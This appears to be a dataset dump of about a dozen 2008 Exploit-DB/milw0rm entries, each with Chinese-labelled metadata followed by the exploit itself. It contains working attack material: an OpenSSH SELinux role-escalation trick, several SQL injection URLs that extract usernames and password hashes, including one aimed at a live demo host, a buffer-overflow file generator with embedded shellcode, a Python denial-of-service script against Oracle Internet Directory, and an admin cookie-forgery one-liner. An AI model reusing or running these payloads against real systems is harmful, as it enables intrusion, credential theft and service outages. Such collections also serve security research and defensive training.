QLWD/code_shield huggingface dataset:
标题: Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation EDB-ID: 6094 CVE: 2008-3234 类型: REMOTE 平台: LINUX 发布日期: 2008-07-17 漏洞利用脚本: /* Debian (maybe other derivates |KUDUBUTUNTU|) OpenSSH Remote -=Authenticated=- SELinux Privilege Elevation
*** Fedora/RHEL Linux should be tested because it _MAY_ contain the same vulnerability
*** in it's OpenSSH patches in a time slice. Latest OpenSSH should not be vulnerable. Older Debian Releases may.
**** One vulnerable example is "openssh-SNAP-20070303.tar.gz", currently reachable at
****  ftp://ftp.bit.nl/mirror/openssh/openssh-SNAP-20070303.tar.gz
****
*** See the "Diff Patch" by Debian:
*** +  authctxt->role = role ? xstrdup(role) : NULL;
**** Where the role is defined in the username after a forward slash '/'
**** So anyone can set arbritrary SELinux roles, when OpenSSH is configured with --with-selinux - 
**** What is a common configuration nowadays.
**** For the kids:
***** ssh -lusername:[style]/<arbritrary SELinux role> host
***** ssh -p2222 -lusername:/wishedrole 127.0.0.1
**** ':' means [style] -> [[not relevant]] '/'<arbritrary SELinux role> is the specified SELinux role.
**** 
**** This seams to be a bug jailed in some distros because of legacy code.
****
**** 'Exploit' found and delivered by Kingcope.
***//Å½eliteb0yÅ½//
**** CHEERIO ****/
REM blablablaIHAVEPRETTYIDEAHOWSELINUXRUNSWORKSORWHATEVERblablabla

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6094
标题: IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (PoC) EDB-ID: 6103 CVE: 2008-3360 类型: DOS 平台: WINDOWS 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
#
# k`sOSe - 07/21/2008
#
# This is NOT http://secunia.com/advisories/20172/.
# There are some BOFs in the html parser, just put a properly
# formatted html file in your website and launch IntelliTamper against it.

use warnings;
use strict;

my $evil_html   =       '<html><head><title>ph33r</title></head><body>' .
                        '<a href="http://google.it/' .
                        "\x41" x 450 .
                        "\x42" x 4 . # EIP
                        '.htm">ph33r</a>' .
                        "</body></html>";

print $evil_html;

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6103
标题: Siteframe CMS 3.2.3 - 'folder.php' SQL Injection EDB-ID: 6099 CVE: 2008-3256 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-18 漏洞利用脚本: #################################################
#################################################
##SQL-Injection in Siteframe CMS (all versions)##
#################################################
#################################################

##############
#Author: n0ne##############
#E-Mail: qwerty@ebanat.com#
###########################

###############################
#Vulnerable script: folder.php#
#Vulnerable var: id############
####################

########################################
#CMS Homepage: http://www.siteframe.org#
########################################

##########################################################################################################################################################
#Exploit PoC: #http://www.target.com/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--#                                                                                                                                                                                           ########################################################################################################################
##########################################################################################################################################################

#########################################################################################################
#Admin panel: http://www.target.com/admin/ (but previously you gotta log in as administrator on website)#
#########################################################################################################

###################################################
#############Greetz to www.antichat.ru#############
############And personally to Nilson ;)############
###################################################

# milw0rm.com [2008-07-18] URL: https://www.exploit-db.com/exploits/6099
标题: Alstrasoft Video Share Enterprise 4.5.1 - 'UID' SQL Injection EDB-ID: 6092 CVE: 2008-3386 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-17 漏洞利用脚本: |___________________________________________________|
|
| Video Share Enterprise (UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.alstrasoft.com/videoshare.htm
|
| DorK   : Powered By AlstraSoft Video Share Enterprise
| DorK   : inurl:"album.php?UID="
| DorK   : inurl:"view_picture.php?viewkey="
|___________________________________________________|

Exploit:  


www.[target].com/Script/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--


L!VE DEMO: :

http://www.alstrahost.com/vs/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--

________________________
table_name : column_name


 adv:adv_status
 adv:adv_text
 adv:adv_name
 adv:adv_id
 audio:embed
 audio:be_rated
 audio:be_comment
 audio:filehome
 audio:rate
 audio:ratedby
 audio:fav_num
 audio:featured
 audio:com_num
 audio:viewnumber
 audio:vkey
 audio:country
 audio:location
 audio:record_date
 audio:adddate
 audio:addtime
 audio:type
 audio:duration
 audio:duration
 audio:flvdoname
 audio:vdoname
 audio:channel
 audio:keyword
 audio:featuredesc
 audio:UID
 audio:description
 audio:VID

________________________



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6092
标题: IntelliTamper 2.07 - '.map' Local Arbitrary Code Execution (2) EDB-ID: 6106 CVE: 2008-5755 类型: LOCAL 平台: WINDOWS 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
# k`sOSe - 7/21/2008
# http://secunia.com/advisories/20172
# A sploit for an ancient vuln. Just because i need 
# to improve my skills on windows explotation.

use warnings;
use strict;

# CMD="c:\windows\system32\calc.exe"
# [*] x86/alpha_mixed succeeded, final size 345
# bad char -> \x89

my $shellcode = 
"\x54\x5a\xda\xd0\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" .
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" .
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" .
"\x4c\x4a\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a\x4b" .
"\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49" .
"\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51" .
"\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c\x34\x47\x4b\x50" .
"\x54\x51\x34\x44\x44\x42\x55\x4a\x45\x4c\x4b\x51\x4f\x46\x44" .
"\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51" . 
"\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" .
"\x4a\x4b\x4d\x59\x51\x4c\x46\x44\x45\x54\x48\x43\x51\x4f\x46" .
"\x51\x4c\x36\x43\x50\x51\x46\x43\x54\x4c\x4b\x50\x46\x50\x30" .
"\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c" .
"\x4b\x42\x48\x44\x48\x4c\x49\x4b\x48\x4d\x53\x49\x50\x42\x4a" .
"\x46\x30\x45\x38\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x45\x38\x4a" .
"\x38\x4b\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x45\x33" .
"\x47\x4a\x51\x4c\x42\x57\x43\x59\x42\x4e\x43\x54\x42\x4f\x44" .
"\x37\x42\x53\x51\x4c\x44\x33\x44\x39\x44\x33\x44\x34\x43\x55" . 
"\x42\x4d\x46\x53\x47\x42\x51\x4c\x43\x53\x43\x51\x42\x4c\x45" .
"\x33\x46\x4e\x42\x45\x43\x48\x43\x55\x45\x50\x45\x5a\x41\x41";

print "### SITEMAP1 INTELLITAMPER\n" .
 "\x41\x41"     .
 "\xeb\x20"   . # jump ahead
 "FOLDER##"   .
 "\x41" x 24   .
 $shellcode   .
 "E" x 108   .
 "\x59\x51\x3d\x7e"  . # ASCII friendly 'call EDI'
 "AAAA\n";

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6106
标题: PHPFootball 1.6 - SQL Injection EDB-ID: 6102 CVE: 2008-3387 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-20 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## PHPFootball 1.6 ( show.php dbtable )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/show.php?dbtable=Predictions+UNION+SELECT+0,Concat_Ws(0x3a,Username,Password)MrSQL,0,0,0+FROM+Accounts--
##
########################
########################
 -[: N0TE :]-
1) Download script ;D  http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip
2) Passwords Md5
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-20] URL: https://www.exploit-db.com/exploits/6102
标题: Arctic Issue Tracker 2.0.0 - 'filter' SQL Injection (1) EDB-ID: 6097 CVE: 2008-3250 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-17 漏洞利用脚本: IloveYouTryaG
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title  ::   Remote SQL Injection
 
Author ::   QTRinu x [ Qataro (at) hotmail (dot) Com ]
Application  ::  Arctic Issue Tracker v2.0.0
 
Download ::   http://www.arctictracker.com
Price    ::  $99.95 USD
Dork 1   ::  Powered by Arctic v2.0.0
 
ShoutZ   :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http:// Localhost / (Path Script) / index.php?filter= [SQL]

SQL  : -1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--
 
-------------------------------------------[End of  context]----------------------------------------
thanx str0ke/*

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6097
标题: preCMS 1 - 'index.php' SQL Injection EDB-ID: 6096 CVE: 2008-3254 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-17 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## preCMS v.1 ( index.php page )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/index.php?page=UserProfil&id=-1'+union+select+1,2,concat_ws(0x3a3a,admin,nick,password),4,@@version+from+pre_user/*
##
########################
########################
 -[[ NOTE ]]-
1 ) Download script :  http://www.precoc.com/cms/preedit/file/0axee0401vk.rar
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6096
标题: Aprox CMS Engine 5.1.0.4 - 'index.php' SQL Injection EDB-ID: 6098 CVE: 2008-3291 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-18 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Aprox CMS Engine V5.1.0.4 ( index.php page )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/index.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,'MrSQL',0,password,login,0,0,0+FROM+aprox_users/*
##
########################
########################
 -[[ NOTE ]]-
1 ) dont use the tags in the exploite most get the info without concat()
2 ) Download script :  http://www.aprox.de/engine/data/files/AproxEngine_V5_1_04.zip

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-18] URL: https://www.exploit-db.com/exploits/6098
标题: Oracle Internet Directory 10.1.4 - Remote Denial of Service EDB-ID: 6101 CVE: 2008-2595 类型: DOS 平台: MULTIPLE 发布日期: 2008-07-19 漏洞利用脚本: #!/usr/bin/python

"""
Oracle Internet Directory 10.1.4 preauthentication Denial Of Service

NOTES: Under 32 bits platforms it crashes immediately. Under 64 bits it may take even hours.
Sometimes you need 2 shoots to crash OID completely. The server "commonly" tolerates one
shoot, but even when you only send one packet it will crash.

Tested: Win2000 x86, WinXP x86, Win2003 X86_64

Vulnerability found by Joxean Koret (joxeankoret [ at ] yahoo DOT es)

Fixed: Oracle Critical Patch Update July 2008
CVEID: CVE-2008-2595
"""

import sys
import time
import socket

healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00"

def checkHealth(hostname, port):
    print "  --> Wating 5 seconds"
    time.sleep(5)
    
    print "  --> Connecting to target..."
    socket.setdefaulttimeout(5)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))

    try:
        print "  --> Sending 'health' packet ..."
        s.sendall(healthPacket)
        print "  --> Trying to receive something..."
        data = s.recv(1024)
    except:
        err = sys.exc_info()[1]

        if int(err[0]) == 104:
            print "[+] Exploits works!"
            return

    if data != "":
        print "[!] Server is up and running :("
    else:
        print "[?] Server doesn't answer nothing. It works?"

def oidDos(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "[+] Connecting to ldap://%s:%d..." % (hostname, port)
        s.connect((hostname, int(port)))

        print "[+] Sending packet..."
        s.sendall(packet)
        s.close()

        print "[+] Checking OID's health..."
        checkHealth(hostname, port)
    except:
        print sys.exc_info()[1]

def usage():
    print "Oracle Internet Directory 10.1.4 Remote Preauthentication DOS"
    print "Copyright (c) 2007 Joxean Koret"
    print
    print "Usage:"
    print sys.argv[0],"-h<hostname> -p<port>"
    print

def main():
    if len(sys.argv) != 3:
        usage()
        sys.exit(0)
    
    hostname = None
    port = None

    i = 0
    for param in sys.argv:
        i += 1
        
        if i == 1:
            continue
        
        if param.startswith("-h"):
            hostname = param[2:]
        elif param.startswith("-p"):
            port = int(param[2:])
        else:
            print "Unknown option '%s'" % param
            usage()
            sys.exit(1)
    
    if not hostname or not port:
        print "Bad command line."
        usage()
        sys.exit(1)

    oidDos(hostname, port)

if __name__ == "__main__":
    main()

# milw0rm.com [2008-07-19] URL: https://www.exploit-db.com/exploits/6101
标题: Galatolo Web Manager 1.3a - Insecure Cookie Handling EDB-ID: 6081 CVE: 2008-6300 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: ############################################################################################
  #                                                                                          #
  #      ...:::::Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability ::::....   #           
  ############################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
Galatolo Web Manager, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}

---
exploit:
javascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
now visit /admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6081
标题: PHPHoo3 < 5.2.6 - 'viewCat' SQL Injection EDB-ID: 6091 CVE: 2008-3245 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-17 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## phpHoo3 V[ 4.4.8 - 4.3.9 - 4.3.10 - 5.2.6 -] ( phpHoo3.php viewCat )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: Exploites for versions :]]-
##
## [[ V4.4.8 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0--
## [[ V4.3.9 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0--
## [[ V4.3.10]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
## [[ V5.2.6 ]] www.Target.com/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
##
########################
########################
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6091